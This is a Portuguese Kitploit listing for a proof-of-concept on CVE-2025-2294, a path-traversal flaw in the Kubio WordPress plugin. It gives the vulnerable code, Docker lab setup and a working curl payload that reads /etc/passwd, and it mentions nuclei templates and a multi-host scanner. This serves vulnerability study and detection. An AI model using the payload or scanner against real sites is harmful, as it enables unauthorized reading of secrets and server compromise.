Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-2294 — Exploit de prova de conceito para CVE-2025-2294, uma vulnerabilidade crítica de LFI no Kubio AI Page Builder para WordPress. Inclui um scanner Python, template nuclei e laboratório Docker para testes. | Kitploit
Ferramentas/GitHubGitHub/iteride/cve-2025-2294
Scanners de Vulnerabilidades WebAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubiteride/cve-2025-2294

CVE-2025-2294

Exploit de prova de conceito para CVE-2025-2294, uma vulnerabilidade crítica de LFI no Kubio AI Page Builder para WordPress. Inclui um scanner Python, template nuclei e laboratório Docker para testes.

Ver Repositório
há 11 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-2294

Introdução

CVE-2025-2294 — uma vulnerabilidade crítica do tipo Local File Inclusion (LFI) no plugin Kubio AI Page Builder para WordPress. A vulnerabilidade permite que um atacante remoto não autenticado passe um parâmetro especialmente criado, fazendo com que o plugin inclua um arquivo arbitrário no servidor; se houver um arquivo PHP incluível, isso pode levar à execução remota de código (RCE).

  • Versões afetadas: todas as versões do plugin ≤ 2.5.1.
  • CVSS v3.1: 9.8 (Critical).

Objetivo do relatório

  1. Sistematizar os materiais disponíveis e explicar a essência da vulnerabilidade.
  2. Considerar as condições e configurações nas quais a vulnerabilidade é relevante.
  3. Mostrar métodos de detecção e recomendações de proteção (sem PoC passo a passo).
  4. Fornecer recomendações para correção e mitigação dos impactos.

CPE / identificação

  • Plugin slug: kubio
  • Caminho: /wp-content/plugins/kubio/
  • Vendor: ExtendThemes / Kubio
  • CPE (exemplo): cpe:2.3:a:extendthemes:kubio_ai_page_builder::::::wordpress::*

CWE: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal).


Condições de exploração

  • O plugin Kubio está instalado e ativado no site.
  • Versão ≤ 2.5.1 (não corrigida).
  • Endpoint HTTP(S) público disponível que aceita o parâmetro __kubio-site-edit-iframe-classic-template.
  • (Para obter RCE) Deve existir no sistema um arquivo PHP incluível ou outro caminho para código executável (por exemplo, através de vulnerabilidades em outros componentes ou permissões incorretas).

Impacto

  • Leitura de arquivos com segredos (por exemplo, wp-config.php, chaves privadas, logs).
  • Possível carregamento/execução de código arbitrário, alteração de conteúdo ou inserção de backdoors.
  • Comprometimento do servidor, possíveis interrupções no funcionamento do site, exclusão/criptografia de dados.
  • A escala do risco aumenta devido à ampla distribuição do plugin e ao surgimento de PoCs/varredores públicos.

Detalhes técnicos

O código vulnerável está relacionado à função kubio_hybrid_theme_load_template(), que acessa o array global $_REQUEST:

root@kitploit:~
$template_id = Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false);
if ($template_id) {
    $new_template = locate_template([$template_id]);
    if ($new_template !== '') {
        return $new_template;
    }
}
  • O que o código faz:
  1. Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false) — obtém o valor diretamente do conjunto global de dados de entrada ($_REQUEST combina $_GET, $_POST, $_COOKIE). `Isso significa que o parâmetro é controlado remotamente.

  2. Se o parâmetro estiver presente ($template_id verdadeiro), o código chama locate_template([$template_id]).

  3. locate_template() — uma utilitário do WordPress (ou similar no plugin) para buscar templates pelo caminho/nome relativo passado. Em um cenário normal, esperava-se que fossem passados nomes de arquivos dentro do diretório seguro de templates, como header.php ou template-parts/content.php.

  4. O valor retornado ($new_template) é então utilizado — na implementação original, isso pode levar a um include/require do caminho encontrado, ou à passagem desse caminho adiante para saída. Isso cria uma possibilidade de LFI: um atacante pode especificar um caminho para um arquivo arbitrário.

Execução local

root@kitploit:~
git clone https://github.com/iteride/CVE-2025-2294.git && cd CVE-2025-2294/ && docker-compose up -d
  • Acesse o Docker:
root@kitploit:~
docker exec -it <WORDPRESS_DOCKER_ID> bash
  • Baixe e ative o Kubio

Para execução após a descompactação, acesse http://localhost:8080/wp-admin/plugins.php e ative o plugin

root@kitploit:~
cd /var/www/html/wp-content/plugins
curl -L -o kubio-2.5.1.zip "https://downloads.wordpress.org/plugin/kubio.2.5.1.zip"
unzip kubio-2.5.1.zip
rm kubio-2.5.1.zip
chown -R www-data:www-data kubio

POC/Exploit

root@kitploit:~
curl 'http://localhost:8080/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../../etc/passwd'

lfi

__kubio-site-edit-iframe-classic-template=<path>

Este parâmetro passa uma string que o plugin usa como identificador/caminho do template.

No trecho de código vulnerável, o valor é obtido de $_REQUEST e passado para locate_template() sem normalização ou restrição prévia. Como resultado, é possível um path traversal: se forem inseridas sequências ../ no valor, o caminho resultante pode sair do diretório esperado de templates e apontar para qualquer arquivo no sistema de arquivos (incluindo /etc/passwd).

É este parâmetro que carrega a carga útil do ataque — com ele, o atacante especifica o arquivo alvo.

__kubio-site-edit-iframe-preview=1

Este é um flag de serviço (modo de pré-visualização / iframe-edit). Ele alterna o processamento da requisição para o ramo de código onde o template especificado em __kubio-site-edit-iframe-classic-template é lido e utilizado.

Sem preview=1, o plugin poderia não processar o parâmetro classic-template ou usar outra lógica; com preview=1, a lógica que permite ler e retornar o template é ativada, tornando a exploração possível.


Template do Nuclei

1. Template passivo

  • Verifica a versão do plugin através do arquivo /wp-content/plugins/kubio/readme.txt.

passive

2. Template ativo

  • Verifica a saída de /etc/passwd

active


Script

O script verifica a saída de /etc/passwd, mas é muito mais rápido que o nuclei devido ao multithreading, e também suporta a varredura de vários hosts simultaneamente.

root@kitploit:~
python3 scan.py --target http://localhost:8080

scan

Baixar ferramenta